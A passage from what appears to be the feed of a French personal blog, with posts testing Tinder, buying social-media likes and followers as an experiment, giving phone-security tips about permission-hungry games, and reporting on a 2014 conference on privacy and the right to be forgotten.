&lt;p&gt;&lt;em&gt;Tinder&lt;/em&gt;, c&amp;rsquo;est une application pour &lt;em&gt;smartphone&lt;/em&gt; qui permet aux gens de se rencontrer. L&amp;rsquo;application ne se base que sur des photos. Si deux personnes ont apprécié la photo de l&amp;rsquo;autre, elles sont mise en contact. (&lt;a href="http://jouanito.com/post/63583956990/tout-ce-quil-faut-savoir-sur-tinder-lapp-qui"&gt;Alex présente l&amp;rsquo;appli plus en détail&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;Un peu comme lorsque l&amp;rsquo;on se croise en rue… &lt;strong&gt;sauf que&lt;/strong&gt; ;-)&lt;/p&gt;
&lt;h2&gt;Faut-il tester Tinder ? Est-ce une application pour un plan cul ou pour « rencontrer des gens en faisant hype » !&lt;/h2&gt;
&lt;p&gt;Premier point important, c&amp;rsquo;est une application &lt;em&gt;smartphone&lt;/em&gt; fortement liée à ton compte Facebook …&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;si tu n&amp;rsquo;aimes pas Facebook, tu n&amp;rsquo;aimeras pas;&lt;/li&gt;
&lt;li&gt;à moins d&amp;rsquo;avoir deux &lt;em&gt;smartphones&lt;/em&gt;, c&amp;rsquo;est pas comme ça que tu vas tromper ta femme puisque c&amp;rsquo;est ton profil Facebook qui est utilisé &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;;&lt;/li&gt;
&lt;li&gt;les photos affichées sur &lt;em&gt;Tinder&lt;/em&gt; sont des photos en provenance de Facebook. Elles sont donc censurées par Facebook. Ce n&amp;rsquo;est donc pas là que tu vas montrer ta bite.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;L&amp;rsquo;&lt;a href="http://www.lesinrocks.com/2013/10/30/actualite/tinder-on-a-tue-la-honte-rencontres-en-ligne-11440882/"&gt;article que j&amp;rsquo;ai lu&lt;/a&gt; compare &lt;em&gt;Tinder&lt;/em&gt; à &lt;a href="http://chatroulette.com/"&gt;chatroulette&lt;/a&gt; (&lt;a href="2010-02-15-a-la-recherche-du-chat-sur-la-roulette.html"&gt;que j&amp;rsquo;avais testé pour vous jadis&lt;/a&gt;) prétendant que l&amp;rsquo;application ne tiendra pas la distance… une des conceptrices prétend quant-à elle que ça n&amp;rsquo;a rien à voir. Je trouvais aussi la comparaison assez drôle !&lt;/p&gt;
&lt;p&gt;Le point commun entre les deux est que l&amp;rsquo;on ne se base que sur l&amp;rsquo;aspect physique pour garder le contact. La (grosse) différence est que sur Tinder ce sont des photos avalisées par Facebook et sur chatroulette… heu… ma bite &lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;3&lt;/a&gt;&lt;/sup&gt; !&lt;/p&gt;
&lt;p&gt;En ce sens ça semble simplement permettre des rencontres de manière générale.&lt;/p&gt;
&lt;p&gt;Le concept défendu par les développeurs de l&amp;rsquo;application est que les sites de rencontres font le travail à l&amp;rsquo;envers. On passe du temps à chercher des gens ayant des affinités avec nous pour finalement constater que visuellement, ça ne fonctionne pas. &lt;em&gt;Tinder&lt;/em&gt; fait « comme dans la rue » et privilégie d&amp;rsquo;abord le visuel.&lt;/p&gt;
&lt;p&gt;– Wouah, sympa la meuf ! pensais-je. Si j&amp;rsquo;osais l&amp;rsquo;aborder ?&lt;/p&gt;
&lt;p&gt;Si deux personnes se trouvent « jolies », elles décident de commencer à discuter. Si ça ne fonctionne pas, on passe au suivant. C&amp;rsquo;est tout !&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;application est une application localisée ce qui permet à deux personnes qui se « matchent » de se rencontrer physiquement assez rapidement (dans une grande ville peut-être).&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est donc bien un site de rencontres puisqu&amp;rsquo;il aide les gens à se rencontrer… et « plus si affinités ». Ça ça ne dépend pas de l&amp;rsquo;application. D&amp;rsquo;après l&amp;rsquo;article, l&amp;rsquo;usage dépend de la région; États-Unis, Pays-Bas, France… en Belgique, je teste pour vous ^^&lt;/p&gt;
&lt;h2&gt;Là où ça bogue&lt;/h2&gt;
&lt;p&gt;Que sait on au sujet de l&amp;rsquo;algorithme utilisé ?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Si tu as 500 amis sur Facebook et que moi je n’ai que 35, il y a une grande probabilité qu’on n’ait pas grand chose à se raconter, parce je suis moins sociable que toi.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;La sociabilité se mesure au nombre d&amp;rsquo;amis Facebook.&lt;/strong&gt; À priori, ça me hérisse mais si j&amp;rsquo;y réfléchis, il est exact que l&amp;rsquo;on a tendance à être amis Facebook avec les gens que l&amp;rsquo;on connait. Donc plus je connais de gens plus je suis susceptible d&amp;rsquo;en rencontrer !&lt;/p&gt;
&lt;p&gt;De même, l&amp;rsquo;algorithme se base(rait) sur les &lt;strong&gt;pages&lt;/strong&gt; que l&amp;rsquo;on a en commun. Il faut(drait) donc aimer un grand nombre de pages pour avoir plus de chances de rencontrer des gens. Mouais &lt;sup id="fnref:f4"&gt;&lt;a class="footnote-ref" href="#fn:f4"&gt;4&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;application se compare à la vrai vie (mais en mieux).&lt;/p&gt;
&lt;p&gt;— Faux !&lt;/p&gt;
&lt;p&gt;On ne peut pas comparer une photo à une personne que l&amp;rsquo;on croise / observe (même sans interagir avec elle).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Il manque la syntonie.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Le fait que les cellules miroirs de mon cerveau entrainent l&amp;rsquo;empathie ou pas. Un « match » dans la vraie vie, se fait physiquement sur base de l&amp;rsquo;aspect physique mais aussi (et surtout) sur base d&amp;rsquo;une attitude, du mouvement, du contact visuel, des cellules miroirs… de millions de petites choses qu&amp;rsquo;une photo ne fait pas. Réduire une personne à quelques photos est tellement triste… même comparé à un simple « croisement dans la rue ».&lt;/p&gt;
&lt;p&gt;Comparer le &lt;em&gt;match&lt;/em&gt; sur 2,3 photos au &lt;em&gt;match&lt;/em&gt; lorsque l&amp;rsquo;on croise une personne dans la rue ou dans un bar est très très réducteur pour moi.&lt;/p&gt;
&lt;h2&gt;J&amp;rsquo;ai testé pour vous Tinder pour voir si un match pouvait se faire…&lt;/h2&gt;
&lt;p&gt;J&amp;rsquo;ai donc installé &lt;em&gt;Tinder&lt;/em&gt;, choisi quelques photos de mon profil Facebook (en ayant lu les conseils du &lt;a href="http://lesociologue.com/tinder/"&gt;sociologue&lt;/a&gt; pour bien choisir ma photo de profil) et fait des « croix / cœur » pendant quelques jours.&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est d&amp;rsquo;emblée &lt;em&gt;addictif&lt;/em&gt; ou &lt;em&gt;vomitif&lt;/em&gt;, c&amp;rsquo;est selon.&lt;/p&gt;
&lt;p&gt;Addictif car on veut voir défiler des photos pour toutes les raisons possibles; trouver une jolie personne &lt;sup id="fnref:f5"&gt;&lt;a class="footnote-ref" href="#fn:f5"&gt;5&lt;/a&gt;&lt;/sup&gt;, voir des gens que l&amp;rsquo;on trouve très moches ou dans des positions / situations cocasses, se comparer aux autres…&lt;/p&gt;
&lt;p&gt;Vomitif parce que évidemment, on aime les beaux et on jette les moches. Selon nos critères évidemment et qu&amp;rsquo;il suffirait d&amp;rsquo;être deux pour se moquer d&amp;rsquo;une photo sur deux. L&amp;rsquo;Homme &lt;sup id="fnref:f6"&gt;&lt;a class="footnote-ref" href="#fn:f6"&gt;6&lt;/a&gt;&lt;/sup&gt; est méchant.&lt;/p&gt;
&lt;p&gt;– Eh ! T&amp;rsquo;as vu celle-là ?&lt;/p&gt;
&lt;p&gt;Après quelques jours, aucun match…&lt;br&gt;
Vous pouvez en tirer vos conclusions…&lt;br&gt;
Bruxelles est sans doute trop petite…&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://chatroulette.com/"&gt;Chatroulette&lt;/a&gt; qui a fait le buzz en ± 2010 permettant de voir aléatoirement des gens devant leur webcam… à peine le concept lancé qu&amp;rsquo;il a été détourné pour voir les gens se mettre à poil devant des inconnus … c&amp;rsquo;était très drôle&lt;/li&gt;
&lt;li&gt;&lt;a href="http://jouanito.com/post/63583956990/tout-ce-quil-faut-savoir-sur-tinder-lapp-qui"&gt;Tout ce qu&amp;rsquo;il faut savoir sur Tinder&lt;/a&gt; par Alex&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.lesinrocks.com/2013/10/30/actualite/tinder-on-a-tue-la-honte-rencontres-en-ligne-11440882/"&gt;Les inrocks présentent Tinder&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="2014-04-25-comment-acheter-des-amis.html"&gt;notes de pit, Comment s&amp;rsquo;acheter des amis ?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="2010-02-15-a-la-recherche-du-chat-sur-la-roulette.html"&gt;notes de pit Un chat sur la roulette&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://lesociologue.com/tinder/"&gt;Comment bien choisir / interpréter une photo de profil ?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Crédit photo chez &lt;a href="http://deviantart.com/"&gt;DeviantArt&lt;/a&gt; par &lt;a href="http://borda.deviantart.com/art/Burning-Match-264249921"&gt;Borda&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Too long; don&amp;rsquo;t read signale que le billet n&amp;rsquo;est pas lu parce que trop long. J&amp;rsquo;en fait ici un résumé … très très résumé ;-)&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Bien sur il est possible d&amp;rsquo;avoir plusieurs profils Facebook… pour ça il faudrait faire confiance à l&amp;rsquo;application et bien distinguer les deux. Je ne suis cependant pas du tout sur que les résultats que l&amp;rsquo;on obtiendrait seront bons au vu de l&amp;rsquo;algorithme utilisé.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;Oui je sais, ça fait deux fois que je suis vulgaire… mais une seule soirée sur Chatroulette vous convaincra !&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f4"&gt;
&lt;p&gt;Donc si tu te crées un compte Facebook uniquement pour ça, il faudra &lt;a href="2014-04-25-comment-acheter-des-amis.html"&gt;t&amp;rsquo;acheter des amis&lt;/a&gt; et aimer plein de pages pour avoir plus de chances de &lt;em&gt;matcher&lt;/em&gt; quelqu&amp;rsquo;un !&amp;#160;&lt;a class="footnote-backref" href="#fnref:f4" title="Jump back to footnote 4 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f5"&gt;
&lt;p&gt;Manière politiquement correcte de dire bonasse (on m&amp;rsquo;a dit que tous les termes en &amp;ldquo;asse&amp;rdquo; étaient vulgaire)&amp;#160;&lt;a class="footnote-backref" href="#fnref:f5" title="Jump back to footnote 5 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f6"&gt;
&lt;p&gt;Avec une majuscule s&amp;rsquo;il vous plait ! Au sens de l&amp;rsquo;espèce humaine. Les filles vous n&amp;rsquo;êtes pas épargnées, vous êtes tout autant moqueuses !&amp;#160;&lt;a class="footnote-backref" href="#fnref:f6" title="Jump back to footnote 6 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Comment s'acheter des amis ?</title><link href="http://blog.namok.be/2014-04-25-comment-acheter-des-amis.html" rel="alternate"/><published>2014-04-25T00:00:00+02:00</published><updated>2014-04-25T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2014-04-25:/2014-04-25-comment-acheter-des-amis.html</id><summary type="html">Il est possible de s'acheter les followers. Si si.</summary><content type="html">&lt;p&gt;&lt;img alt="S'acheter des amis ou des esclaves ?" src="/images/root_of_all_evil_by_yongl-d6jcpcu.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;TL;DR &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; Si si c&amp;rsquo;est possible… mais ce sont des amis virtuels&lt;/em&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;S&amp;rsquo;il y a une chose que l&amp;rsquo;on n&amp;rsquo;achète pas, c&amp;rsquo;est l&amp;rsquo;amitié&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;D&amp;rsquo;accord, admettons ;-)&lt;/p&gt;
&lt;p&gt;Par contre pour ce qui est d&amp;rsquo;avoir beaucoup de &lt;em&gt;followers&lt;/em&gt; Twitter, beaucoup de « Like » sur une page FB, une vidéo Youtube… &lt;a href="http://mobile.nytimes.com/blogs/bits/2014/04/20/friends-and-influence-for-sale-online/"&gt;le problème est réglé&lt;/a&gt; (ou presque).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Avec $5 tu peux déjà acheter des amis&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Si tu veux paraitre &lt;a href="http://ploum.net/162-toi-aussi-deviens-un-veritable-blogueur-web-20/"&gt;influent&lt;/a&gt; tu dois avoir des &lt;em&gt;followers&lt;/em&gt; et beaucoup de &lt;em&gt;likes&lt;/em&gt; sur tes articles !&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Les gens amènent les gens tout comme la richesse amène la richesse&lt;br&gt;
– Confusant&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Faux !&lt;/strong&gt; Si les &lt;em&gt;followers / like&lt;/em&gt; ne viennent pas tout seul, il suffira de les acheter. Je ne peux donc plus très bien savoir &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt; si « le gars » est populaire parce qu&amp;rsquo;il a des amis ou parce qu&amp;rsquo;il les a achetés. J&amp;rsquo;utilise volontairement le terme « ami ».&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Vrai !&lt;/strong&gt; Un nombre de &lt;em&gt;followers / like&lt;/em&gt; élevé me donnera du crédit auprès des autres et auprès des outils mesurant la popularité de quelqu&amp;rsquo;un. Je pourrai paraitre important puisque beaucoup de gens apprécient ce que j&amp;rsquo;écris.&lt;/p&gt;
&lt;h2&gt;J&amp;rsquo;ai testé pour vous et je me suis acheté des amis !&lt;/h2&gt;
&lt;p&gt;Je voulais voir de mes propres yeux et je me suis rendu chez &lt;a href="http://fiverr.com/"&gt;Fiverr&lt;/a&gt; pour m&amp;rsquo;acheter 1000 &lt;em&gt;likes&lt;/em&gt; pour $5 (±€3). Je fais ma transaction en donnant la page qu&amp;rsquo;il faudra aimer et quelques instants plus tard, c&amp;rsquo;est parti ! Les &lt;em&gt;likes&lt;/em&gt; arrivent.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Cool, allons dormir, demain j&amp;rsquo;aurai &lt;strong&gt;1000 likes&lt;/strong&gt; sur cette page !&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Sauf que&lt;/strong&gt; après l&amp;rsquo;engouement des premières heures, mes 1000 likes n&amp;rsquo;en sont que 60. Mmh, déçu :-(&lt;/p&gt;
&lt;p&gt;Je ne me laisse pas abattre et décide de m&amp;rsquo;acheter 500 &lt;em&gt;followers&lt;/em&gt; chez &lt;a href="http://www.swenzy.com/"&gt;Swenzy&lt;/a&gt; pour €3.86. Je me crée un compte Twitter pour l&amp;rsquo;occasion n&amp;rsquo;ayant actuellement qu&amp;rsquo;un seul &lt;em&gt;follower&lt;/em&gt; et j&amp;rsquo;attends.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Twitter avant" src="/images/screenshot-likesale-twitter-1.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Sauf que&lt;/strong&gt; une heure plus tard, rien n&amp;rsquo;a bougé… &lt;strong&gt;mais&lt;/strong&gt; par contre un peu de patience plus loin (24h), je constate que j&amp;rsquo;ai 774 &lt;em&gt;followers&lt;/em&gt; \°/&lt;/p&gt;
&lt;p&gt;&lt;img alt="Twitter avant" src="/images/screenshot-likesale-twitter-2.png"&gt;&lt;/p&gt;
&lt;p&gt;Aux 500 &lt;em&gt;followers&lt;/em&gt; achetés se sont ajoutés des « vrais fans » ! On peut y croire et nous verrons s&amp;rsquo;ils s&amp;rsquo;accrochent les rascals ou bien si l&amp;rsquo;offre n&amp;rsquo;est que temporaire.&lt;/p&gt;
&lt;p&gt;Conclusion&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;On peut &lt;strong&gt;peut-être&lt;/strong&gt; s&amp;rsquo;acheter des amis …&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://mobile.nytimes.com/blogs/bits/2014/04/20/friends-and-influence-for-sale-online/"&gt;Friends and influence for sale en line&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.swenzy.com/"&gt;Swenzy&lt;/a&gt;, pour acheter des « Like » FB, Youtube, … et des &lt;em&gt;followers&lt;/em&gt; Twitter&lt;/li&gt;
&lt;li&gt;&lt;a href="http://fiverr.com/"&gt;Fiverr&lt;/a&gt;, pour s&amp;rsquo;acheter plein de chose à $5 … de tout et n&amp;rsquo;importe quoi et par exemple des « Like »&lt;/li&gt;
&lt;li&gt;&lt;a href="http://ploum.net/162-toi-aussi-deviens-un-veritable-blogueur-web-20/"&gt;Ploum, toi aussi devient un véritable blogueur web 2.0&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Crédit photo chez &lt;a href="http://deviantart.com/"&gt;DeviantArt&lt;/a&gt; par &lt;a href="http://yongl.deviantart.com/art/Root-of-all-Evil-395302494"&gt;yongl&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Too long; don&amp;rsquo;t read signale que le billet n&amp;rsquo;est pas lu parce que trop long. J&amp;rsquo;en fait ici un résumé … très très résumé ;-)&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Ce n&amp;rsquo;est pas tout à fait vrai car les nouveaux amis sont souvent Turcs, Indiens, … ou bien Américains (mais ceux-là sont plus chers, oui, 10 fois plus cher)&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Trois astuces de sécurité incontournables pour ton téléphone portable</title><link href="http://blog.namok.be/2014-04-23-trois-astuces-de-securite-incontournables-pour-ton-telephone-portable.html" rel="alternate"/><published>2014-04-23T00:00:00+02:00</published><updated>2014-04-23T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2014-04-23:/2014-04-23-trois-astuces-de-securite-incontournables-pour-ton-telephone-portable.html</id><summary type="html">Trois astuces de sécurité incontournables pour ton téléphone portable</summary><content type="html">&lt;p&gt;&lt;img alt="500px-pong-2048.jpg" src="/images/500px-pong-2048.jpg" title="500px-pong-2048.jpg, avr. 2014"&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Ne pas installer de jeux pourris  &lt;/li&gt;
&lt;li&gt;Ne pas installer de jeux pourris  &lt;/li&gt;
&lt;li&gt;Ne pas installer de jeux pourris&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Ne pas installer de jeux pourris&lt;/h2&gt;
&lt;p&gt;Un jeu pourri est un jeu qui demande trop d&amp;rsquo;autorisations d&amp;rsquo;accès à ton téléphone portable.&lt;/p&gt;
&lt;p&gt;Même si ces autorisations paraissent légitimes si je peux accéder aux données stockées sur le téléphone et si je peux envoyer et recevoir des données, il n&amp;rsquo;y a pas de raison que je ne puisse pas envoyer les fichiers stockés sur le téléphone.&lt;/p&gt;
&lt;h2&gt;Ne pas installer de jeux pourris&lt;/h2&gt;
&lt;p&gt;Un jeu pourri se reconnait facilement, il est généralement gratuit et « tout le monde » &lt;strong&gt;l&amp;rsquo;a&lt;/strong&gt; !&lt;/p&gt;
&lt;p&gt;Sa gratuité a un cout qui sera au minimum:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;d&amp;rsquo; embêter tes amis pour qu&amp;rsquo;ils jouent aussi au jeu;&lt;/li&gt;
&lt;li&gt;de te demander (régulièrement) de l&amp;rsquo;argent pour accéder au niveau suivant ou simplement pour « améliorer ton expérience d&amp;rsquo;utilisateur »&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Ne pas installer de jeux pourris&lt;/h2&gt;
&lt;p&gt;Un jeu pourri est un jeu où, &lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;C&amp;rsquo;est trop beau pour être vrai&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Si c&amp;rsquo;est le cas, alors, ça pue (on te promet de gagner de l&amp;rsquo;argent ou , pire, de voir des &lt;em&gt;boobs&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;Plus simplement, &lt;strong&gt;un jeu pourri est … un jeu pourri !&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez 500px par &lt;a href="http://500px.com/photo/67535277/videoton-pong-by-dbob"&gt;dbob&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Informatique et société, le droit à l'oubli</title><link href="http://blog.namok.be/2014-04-01-informatique-et-societe-droit-a-oubli.html" rel="alternate"/><published>2014-04-01T00:00:00+02:00</published><updated>2014-04-01T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2014-04-01:/2014-04-01-informatique-et-societe-droit-a-oubli.html</id><summary type="html">Infosoc 2014, Conférence organisée à l'école.</summary><content type="html">&lt;p&gt;&lt;img alt="colours_eraser_by_jnac-d3gutuc.jpg" src="/images/colours_eraser_by_jnac-d3gutuc.jpg" title="colours_eraser_by_jnac-d3gutuc.jpg, avr. 2014"&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;TL;DR &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; Informatique et société, cru 2014. nsa, droit, tweets et Orval&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;2014,l&amp;rsquo;année où vous allez devoir rejoindre la bataille pour le droit à l&amp;rsquo;oubli&lt;/h2&gt;
&lt;p&gt;&lt;img alt="affiche-2014.jpg" class="right" src="/images/affiche-2014.jpg" title="affiche-2014.jpg, avr. 2014" width="150px"&gt;&lt;/p&gt;
&lt;p&gt;Martin Untersinger (&lt;a href="https://twitter.com/martin_u"&gt;@martin_u&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;La présentation est très orientée &lt;em&gt;nsa&lt;/em&gt; et actualité récente afin de nous sensibiliser à la prudence en terme de collecte de données. Ce qui est neuf c&amp;rsquo;est que la collecte de données ne se fait plus de manière sélective (si l&amp;rsquo;on est « soupçonné » d&amp;rsquo;être un terroriste) mais elle « ratisse large ».&lt;/p&gt;
&lt;p&gt;Un discours qui aurait été perçu comme alarmiste voire faisant partie de la « théorie du complot » hier reflète la réalité aujourd&amp;rsquo;hui. L&amp;rsquo;utilisateur &lt;em&gt;lambda&lt;/em&gt; doit être sensibilisé au respect de sa vie privée.&lt;/p&gt;
&lt;h2&gt;Comment apprendre le droit en suivant des cours de marketing ? Du droit à l’oubli à l’oubli du Droit&amp;rdquo;&lt;/h2&gt;
&lt;p&gt;Stefan Verschuere (vice président de la commission de la vie privée)&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Les meilleurs journalistes de demain ne sont pas les étudiants en journalisme mais bien ceux en IT.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Nous avons envie de maitriser l&amp;rsquo;information qui nous concerne plutôt que d&amp;rsquo;invoquer un droit à l&amp;rsquo;oubli. Cette maitrise ne peut pas se résumer à : « montrer l&amp;rsquo;info qui nous met on valeur et cacher le reste » ! L&amp;rsquo;exposé présente des situations où chacun s&amp;rsquo;accorde à dire qu&amp;rsquo;il faudrait pouvoir les oublier et des exemples ou tous affirment que c&amp;rsquo;est un devoir de se souvenir… dans ces conditions il est clair que la notion de « &lt;em&gt;droit à l&amp;rsquo;oubli&lt;/em&gt; » est loin d&amp;rsquo;être simple.&lt;/p&gt;
&lt;h2&gt;Autour des présentations&lt;/h2&gt;
&lt;p&gt;Cette année, j&amp;rsquo;ai retenté l&amp;rsquo;exercice du &lt;em&gt;&lt;a href="https://en.wikipedia.org/wiki/Backchannel"&gt;backchannel&lt;/a&gt; tweeter&lt;/em&gt; parce que j&amp;rsquo;aime ça, c&amp;rsquo;est ludique, ça favorise l&amp;rsquo;interaction, ça permet de poursuivre le débat…&lt;/p&gt;
&lt;p&gt;… ça permet aussi de voir que &lt;a href="2010-06-04-evaluation-des-outils-web-mis-a-la-disposition-des-etudiants.html"&gt;mes étudiants ne sont pas des &lt;em&gt;geeks&lt;/em&gt;&lt;/a&gt; tout au plus des &lt;em&gt;gamers&lt;/em&gt; et c&amp;rsquo;est surprenant. Si je compte, c&amp;rsquo;est ± 25 tweets provenant de ± 5 personnes. Pas de quoi parler d&amp;rsquo;engouement ! L&amp;rsquo;historique est visible chez &lt;a href="https://storify.com/Pinkilla/infosoc2014"&gt;Storify&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Le &lt;em&gt;backchannel&lt;/em&gt; s&amp;rsquo;est fait, comme l&amp;rsquo;an dernier, en collaboration avec &lt;a href="http://tweetwallpro.com/"&gt;tweetwallpro&lt;/a&gt;. Merci.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Le hashtag pour l&amp;rsquo;après-midi « Informatique et Société » de cette année sera &lt;a href="https://twitter.com/search?q=%23infosoc2014&amp;amp;src=hash"&gt;#infosoc2014&lt;/a&gt;… et peut-être qu&amp;rsquo;il y aura encore un (…)&lt;/p&gt;
&lt;p&gt;— HEB ÉSI (@esiheb) &lt;a href="https://twitter.com/esiheb/statuses/445832302141403136"&gt;March 18, 2014&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;En terme de participation, j&amp;rsquo;ai compté 10 profs, ±75 étudiants et ±25 extérieurs. C&amp;rsquo;est toujours sympa d&amp;rsquo;aller boire un Orval avec les anciens …&lt;/p&gt;
&lt;p&gt;À l&amp;rsquo;an prochain&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://storify.com/Pinkilla/infosoc2014"&gt;Storify, infosoc2014&lt;/a&gt; et &lt;a href="https://storify.com/Pinkilla/infosoc2013"&gt;2013&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://tweetwallpro.com/"&gt;Tweetwallpro&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://en.wikipedia.org/wiki/Backchannel"&gt;Wikipedia, backchannel&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Crédit photo chez DeviantArt par &lt;a href="http://jnac.deviantart.com/art/colours-eraser-209710740"&gt;jnac&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="2007-03-14-infosoc-2007.html"&gt;Infosoc 2007, identification numérique&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="2013-03-24-infosoc-la-fracture-numerique.html"&gt;Infosoc 2013, la fracture numérique&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Too long; don&amp;rsquo;t read signale que le billet n&amp;rsquo;est pas lu parce que trop long. J&amp;rsquo;en fait ici un résumé… très très résumé ;-)&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
